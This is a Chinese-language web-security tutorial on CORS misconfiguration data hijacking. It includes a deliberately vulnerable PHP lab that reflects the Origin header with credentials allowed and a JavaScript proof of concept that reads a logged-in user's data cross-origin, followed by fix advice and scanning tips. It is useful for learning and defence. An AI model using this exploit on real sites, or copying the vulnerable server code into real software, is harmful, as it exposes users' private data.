深入了解CORS数据劫持漏洞

简介: 1.1. CORS介绍 CORS(跨源资源共享)是一种用于在Web应用程序中处理跨域请求的机制。当一个Web应用程序在浏览器中向不同的域(源)发起跨域请求时,浏览器会执行同源策略,限制了跨域请求的默认行为。同源策略要求Web应用程序只能访问与其本身源(协议、域名和端口)相同的资源。 然而,在某些情况下,我们希望允许来自其他源的跨域请求,例如使用AJAX进行跨域数据访问或在前端应用程序中嵌

1.1. CORS介绍

CORS(跨源资源共享)是一种用于在Web应用程序中处理跨域请求的机制。当一个Web应用程序在浏览器中向不同的域(源)发起跨域请求时,浏览器会执行同源策略,限制了跨域请求的默认行为。同源策略要求Web应用程序只能访问与其本身源(协议、域名和端口)相同的资源。

然而,在某些情况下,我们希望允许来自其他源的跨域请求,例如使用AJAX进行跨域数据访问或在前端应用程序中嵌入来自不同域的资源(如字体、样式表或脚本)。这时就需要使用CORS来解决跨域请求的限制。

CORS通过在服务器端设置响应头来进行配置。当浏览器发起跨域请求时,服务器可以通过设置特定的CORS响应头来告知浏览器是否允许该请求。常见的CORS响应头包括以下几个:

  1. Access-Control-Allow-Origin:指定允许访问该资源的源。可以是具体的源(如http://example.com)或通配符(*),表示允许来自任意源的访问。
  2. Access-Control-Allow-Methods:指定允许的HTTP方法(如GET、POST、PUT等)。
  3. Access-Control-Allow-Headers:指定允许的请求头字段。
  4. Access-Control-Allow-Credentials:指定是否允许发送身份凭证(如cookies、HTTP认证等)。
  5. Access-Control-Max-Age:指定预检请求(OPTIONS)的有效期,以减少对服务器的频繁请求。

在前端代码中,如果要发送跨域请求,可以通过XMLHttpRequest对象或fetch API添加额外的请求头来指示浏览器发起CORS请求。浏览器会自动在发送请求时检查响应中的CORS头信息,并根据配置决定是否允许该请求。

具体可参考MDN DOC

1.2. 漏洞介绍

因为需要配置CORS响应头来告知浏览器是否允许该请求,所以如果配置不当,就可能导致攻击者通过恶意网站或代码执行跨域请求,从而获取或篡改用户的敏感数据(危害和CSRF类似,不过可以劫持返回的内容)

1.3. 漏洞复现

1.3.1. 环境搭建

实战过程中,主要是Origin可控以及Access-Control-Allow-Credentials设置为True,这样才能劫持到数据,简单的漏洞复现环境如下:

php代码,保存为index.php

<?php
$userInfo = array(
    'username' => 'd4m1ts',
    'phone' => '13888888888'
);
$jsonResponse = json_encode($userInfo);

// 检查是否存在Origin头
if (isset($_SERVER['HTTP_ORIGIN'])) {
    // 设置Access-Control-Allow-Origin为请求中的Origin值
    header('Access-Control-Allow-Origin: ' . $_SERVER['HTTP_ORIGIN']);

    // 设置Access-Control-Allow-Credentials为True
    header('Access-Control-Allow-Credentials: true');
}

// 检查是否设置了名为admin的Cookie
if (isset($_COOKIE['admin'])) {
    header('Content-Type: application/json');
    echo $jsonResponse;
} else {
  echo "unauth";
}
?>

简易启动php web服务

php -S 127.0.0.1:9999

1.3.2. 复现过程

直接打开会提示unauth

unauth

根据代码,需要在Cookie中设置字段admin

Note

浏览器默认SameSite是Lax,Lax的情况下无法发送至第三方上下文中,所以需要设置一下,不然无法劫持!

document.cookie = "admin=1; SameSite=None"

设置后刷新就可以拿到数据了,我们假设这是敏感数据,后续即使对这个数据进行劫持。

auth


假设http://internal.gm7.org:9999/是目标,测试过程中在请求数据包头添加Origin字段,观察响应包,发现Origin可控,且Access-Control-Allow-Credentials: true,还没有验证referer,就说明可以劫持了。

ac

编写POC如下:

<!DOCTYPE html>
<html>
<body>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>

<script>
function cors() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      document.getElementById("demo").innerHTML = alert(this.responseText);
    }
  };
  xhttp.open("GET", "http://internal.gm7.org:9999/", true);
  xhttp.withCredentials = true;
  xhttp.send();
}
</script>
</body>
</html>

放到第三方网站上,可见成功劫持

success

1.3.3. 特别说明

如果要CORS携带Cookie,同时成功利用该漏洞,需要满足如下几个条件

  1. Cookie的SameSite属性值为None,但目前浏览器默认几乎都是Lax
  2. 响应头中的Access-Control-Allow-Origin不能为通配符*,而是应指定具体的域名,否则只能发起请求,无法获取到响应
  3. 服务器的响应头需要包含Access-Control-Allow-Credentials: true
  4. 在发起Ajax请求时,需要将withCredentials设置为true

1.4. 修复建议

  1. 限制Access-Control-Allow-Origin的值为可信源,尽可能设置白名单,不能为*,也不能为null
  2. 避免Access-Control-Allow-Credentials的值为True
  3. 设置Access-Control-Allow-Methods(允许的 HTTP 方法)、Access-Control-Allow-Headers(允许的请求头)

1.5. 挖掘技巧

可以在burpsuite中勾选替换条件,自动增加Origin

burp

然后从响应头中查看是否可控Origin以及是否包含Access-Control-Allow-Credentials: true

resp

也可以挂着xray去扫,不过误报率可能会比较高,大多都不是敏感信息,没啥意思,不过反正都需要人工去判断,看个人喜好吧。

目录
相关文章
|
2月前
|
JSON 安全 前端开发
浅析CORS跨域漏洞与JSONP劫持
浅析CORS跨域漏洞与JSONP劫持
84 3
|
3月前
|
Web App开发 JSON 数据格式
【Azure Developer】浏览器查看本地数据文件时遇见跨域问题(CORS)
【Azure Developer】浏览器查看本地数据文件时遇见跨域问题(CORS)
【Azure Developer】浏览器查看本地数据文件时遇见跨域问题(CORS)
|
5月前
|
Web App开发 JSON 数据格式
【Azure Developer】浏览器查看本地数据文件时遇见跨域问题(CORS)
Access to XMLHttpRequest at 'file:///C:/Users/.../failedrequests.json' from origin 'null' has been blocked by CORS policy: Cross origin requests are only supported for protocol schemes: http, data, isolated-app, chrome-extension, chrome-untrusted, https, edge. reportdata/failedrequests.json:1 Fail
|
5月前
|
安全 前端开发 JavaScript
CORS是W3C标准,解决浏览器同源策略限制的跨域数据访问。
【6月更文挑战第27天】CORS是W3C标准,解决浏览器同源策略限制的跨域数据访问。它通过服务器在HTTP响应头添加`Access-Control-Allow-*`字段允许特定源请求。简单请求无需预检,非简单请求会发OPTIONS预检请求。服务器配置CORS策略,客户端正常请求,浏览器自动处理。若未正确配置,浏览器将阻止响应,保障安全。
56 0
|
10天前
|
开发框架 中间件 Java
如何处理跨域资源共享(CORS)的 OPTIONS 请求?
处理 CORS 的 OPTIONS 请求的关键是正确设置响应头,以告知浏览器是否允许跨域请求以及允许的具体条件。根据所使用的服务器端技术和框架,可以选择相应的方法来实现对 OPTIONS 请求的处理,从而确保跨域资源共享的正常进行。
|
10天前
|
JavaScript 前端开发 API
跨域资源共享(CORS)的工作原理是什么?
跨域资源共享(CORS)通过浏览器和服务器之间的这种交互机制,在保证安全性的前提下,实现了跨域资源的访问,使得不同源的网页能够合法地获取和共享服务器端的资源,为现代Web应用的开发提供了更大的灵活性和扩展性。
|
24天前
|
JSON 前端开发 安全
CORS 是什么?它是如何解决跨域问题的?
【10月更文挑战第20天】CORS 是一种通过服务器端配置和浏览器端协商来解决跨域问题的机制。它为跨域资源共享提供了一种规范和有效的方法,使得前端开发人员能够更加方便地进行跨域数据交互。
|
1月前
|
缓存 前端开发 应用服务中间件
CORS跨域+Nginx配置、Apache配置
CORS跨域+Nginx配置、Apache配置
134 7
|
5月前
|
前端开发 安全 JavaScript
Spring Boot2 系列教程(十四)CORS 解决跨域问题
Spring Boot2 系列教程(十四)CORS 解决跨域问题
|
2月前
|
安全
CORS 跨域资源共享的实现原理
CORS 跨域资源共享的实现原理